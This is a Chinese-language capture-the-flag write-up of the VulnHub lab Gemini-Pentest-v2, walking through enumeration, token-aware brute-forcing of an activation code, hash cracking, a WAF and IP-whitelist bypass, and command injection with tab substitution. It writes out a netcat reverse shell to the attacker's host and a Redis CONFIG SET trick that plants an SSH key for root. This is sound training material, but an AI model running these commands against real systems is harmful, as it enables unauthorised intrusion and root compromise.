一、靶机介绍

靶机地址

https://download.vulnhub.com/geminiinc/Gemini-Pentest-v2.zip

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 隐藏路径爬取
  • 开放注册
  • 验证码爆破
  • Anti CSRF Token
  • 密码破解
  • WAF Bypass
  • 命令注入绕过
  • SSH公钥认证
  • Redis漏洞利用
  • 本地提权

二、主机发现

arp-scan -l

靶机地址为:192.168.43.1 53

image-20240909151050541

三、端口扫描

3.1、tcp端口扫描

nmap -p- 192.168.43.153
nmap -p22,80 -sV -sC 192.168.43.15

靶机端口22和80端口开放

image-20240909151518321

3.2、udp端口扫描

nmap -sU --top-port 20 192.168.43.153

扫描upd协议常见端口,发现服务都没启动

image-20240909151535150

80端口开放,访问web页面,

image-20240909151600430

用靶机1的账号密码登录,发现账号密码不对

image-20240909151620874

四、目录扫描

使用dirb扫描

dirb http://192.168.43.153/ -r

-r 表示迭代爬取,就是发现一层目录,会顺着这层目录直接往下爬取,比如 111/222/333这种

没发现什么有用信息

image-20240909151722383

指定扫描一下特定文件,dirb特性,如果不指定不会扫描特定的文

dirb http://192.168.43.153/ -r -X .php

-X 扫描指定后缀文件

扫描出两个有用的目录,一个时activate.php页面,一个时registration.php

image-20240909151923076

一个是激活页面

image-20240909152343640

一个是注册页面

http://192.168.43.153/registration.php

admin

1234

image-20240909152149310

好像要注册两次才能注册成功

image-20240909152235422

登录成功后发现需要激活才能使用,提示注册码是6个数字,6个数字第一反应就是爆破了

image-20240909152259896

由于激活页面第一个表格让填的信息是uid而不是用户名,点击到my profile这个页面,url会显示用户的uid

image-20240909152444733

五、Anti CSRF Token

抓激活页面,发现请求包中会带着token

token验证:就是客户端携带生成一个字符串(token)发送到服务端,服务端验证是也会带着这个token,与客户端的进行验证,账号密码正确,并且token相同才能登录成功,并且token每次登录都会变化,不像cookie那样

这里可以看到,每次请求包和相应包中的token都是相同的,但是重新发送一个请求包,token值就会变化

image-20240909153032727

第二个请求包中,token和第一个不同了

image-20240909153133658

5.1、burp绕过token爆破

将请求包发送到爆破板块,这里将密码和token指定为变量

**!!!攻击类型改为Pitchfork **

image-20240909153250811

指定一下爆破变量的类型,第一个是激活码我们已经知道是个6位的数字了

image-20240909153409277

指定好1的爆破类型后,下面就是设置读取每次的token了,

转到设置界面,在grep-extract中选择添加,

然后点击下半界面下的Refetch response,将响应包刷新出来,

找的token,将token这个字符串选中,然后上面就会自己生成一个正则表达式,切记一定是正好选中token,不要多也不要少,不然表达式会出问题。

image-20240909153840137

image-20240909153908566

然后指定token的爆破类型,这里类型选Recursive grep,下面就会出现刚才指定好的正则表达式

image-20240909154347743

由于token的特性,每次请求都会变化,所以将爆破线程改为1,防止多线程同时爆破,token会对应不上,

image-20240909154105473

将错误后的重试次数改成0,同样也是防止重试时导致token请求包和响应包的对应不上。

image-20240909154245834

设定好这一切后开始爆破

可以根据长度和状态码进行判断,状态码302重定向了,并且长度跟其他的包的长度也不同

image-20240909154556501

把爆破界面关了,然后刷新了一下,发现直接就进去了,如果刷新一下没登陆成功,那就重新登录一下

image-20240909154630647

六、源代码信息泄露

根据靶机1,尝试一下这个xss漏洞是否还存在,发现在这个靶机中已经没法利用了

image-20240909154808179

点击列表发现9emin1是管理员权限,其他用户都是成员

image-20240909154815966

image-20240909154842411

查看了一下源代码,发现注释存在一个密码

edbd1887e772e13c251f688a5f10c1ffbb67960d

image-20240909154919487

这里点开我们自己注册的用户,发现同样存在,根据字符串猜测是MD5加密的,由于我们注册的密码我们自己知道,所以可以验证时什么加密的

7110eda4d09e062aa5e4a390b0a572ac0d2c0220

image-20240909154956540

密码破解

验证一下密码使用sha1加密后的结果

echo -n "1234" | sha1sum

发现我们在自己注册用户页面下的密码注释一样,所以确定是sha1加密

image-20240909155135878

两个网站都能解密出来

md5在线解密破解,md5解密加密 (cmd5.com)

secretpassword

image-20240909155327408

sha1: edbd1887e772e13c251f688a5f10c1ffbb67960d — decoded hash va (md5hashing.net)

image-20240909155539687

七、WAF Bypass

账号:Gemini

密码:secretpassword

image-20240909155738131

发现存在一个execute Command,命令执行的界面

image-20240909155842071

直接访问返回值是403,使用burp抓包一下响应包,发现返回内容是ip白名单,我们这个IP不在白名单中,这里也可以更改xxf进行绕过

image-20240909160443522

image-20240909160458915

在burp扩展中下载bypass waf

image-20240909160613946

下载好后,设置一规则

image-20240909161218000

image-20240909161255706

规则指定好后,选中一下规则涉及范围,这里全选上就行了

image-20240909161418851

这里少截了一个图,这个图是我随便截的因为靶机已经关了,我懒得开了,在http history中将网站根目录右键选中,add to scope 就是将其加入到刚才设定的bypass规则中

image-20240910115754264

这里应该是没成功的意思,点击re-enable就行了

image-20240909165849829

然后重新刷新一下界面,发现就进去了

image-20240909165919340

八、命令注入绕过

这里使用ls -la查看目录,发现命令没有执行成功,burp抓包分析了一下,发现是空格被过滤了,这里绕过方式擦用的是使用tab键进行替换,tab键编码位%09

image-20240909171015255

为了省事设置一下自动替换,在burp中空格使用那个+,将+替换为%09(tab键)

image-20240909171328444

这样就自动在抓包界面自动替换了,

每次在页面执行命令都要在页面抓包一下,不然不会将+替换的

image-20240909171409597

九、反弹shell

发现靶机上没有nc,将kali中的传到靶机上,一会反弹shell

which nc
cd /usr/bin
python3 -m http.server 9999

在nc目录下,起个python web服务

image-20240909172353274

wget http://192.168.43.130:9999/nc -O /tmp/nc
chmod +x /tmp/nc

- O 指定文件下载后存放的路径

image-20240909172319321

image-20240909172527726

image-20240909172549367

/tmp/nc 192.168.43.130 5555 -e /bin/bash

-e 执行的命令 这里执行的命令是/bin/bash ,给出一个命令行界面

image-20240909172719243

反弹成功,升级一下shell

python -c "import pty;pty.spawn('/bin/bash')"

image-20240909172931911

发现在当前目录下存在一个txt文件,查看发现就是一个黑名单,空格在黑名单之中

image-20240909173007171

查看靶机中相关端口信息,发现3306和6379这两个端口,开放,由于redis一般比mysql更好容易突破,这里从redis入手

ss -pantu

image-20240909173138279

查看进程,发现redis是root权限执行的,这里也能验证从redis入手是对的

ps -ef |grep redis

image-20240909173237437

十、redis漏洞利用

切换到redis默认安装路径下

cd /etc/redis
ls
cat 6379.conf | grep pass

8a7b86a2cd89d96dfcc125ebcc0535e6

查看配置文件,看到存在密码

image-20240909173506010

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

终端连接,但是由于我们是反弹shell的界面,即使使用python升级了一下终端,但是在操作redis时仍然乱码了

为了解决这个使用密钥直接连接

image-20240909173740532

十一、SSH公钥认证

在kali中生成密钥

ssh-keygen

image-20240909174406601

切换到根目录

cd ~
cd .ssh
ls

进入ssh目录,看到密钥已经生成

image-20240909174445876

由于刚才那个乱码退不出来了,重新反弹了一个shell

cd /home/gemini1 切换到用户目录下
mkdir .shh 手动创建一个ssh目录
cd .ssh 进入ssh目录
/tmp/nc -lvvp 4444 > authorized_keys # 使用nc将公钥传输到靶机中,并命名为authorized_keys

image-20240909175028662

nc 192.168.43.153 4444 < id_rsa.pub -w 1

将公钥传送到靶机中,并且传送完成后1秒九断开

image-20240909174712437

传送完成后,使用密钥登录,然后进入redis控制终端就会被乱码了

ssh gemini1@192.168.43.153 -i id_rsa
redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

image-20240909175155884

十二、提权

先从redi终端退出

quit
cd .ssh # 进入ssh目录
(echo -e "\n\n";cat authorized_keys ;echo -e "\n\n") > pub.txt
# 这样的操作可能是为了确保 SSH 公钥在 Redis 数据库中保存时,与其他数据隔离开,也可能是为了确保在 SSH 连接时读取这个文件时有一些额外的空白行,以增加可读性或确保正确性。
cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key
# -x:将输入视为二进制数据。
# set ssh_key:将传入的数据与redis-cli的ssh_key键与输入对应起来

image-20240909175330041

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
CONFIG set dir /root/.ssh # 用于指定redis的数据库目录
config set dbfilename "authorized_keys" # 用于指定数据库名字
sava

将密钥以root权限写入到root目录下的ssh中了

image-20240909175552565

使用密码登录,成功获取的root权限

ssh root@192.168.43.153 -i id_rsa
cat flag.txt

image-20240909175746559

参考文章

GeminiIncV2靶机渗透测试 – Christ1na’s blog

Vulnhub打靶记录:Gemini_Pentest_v2 - C_CHL - 博客园 (cnblogs.com)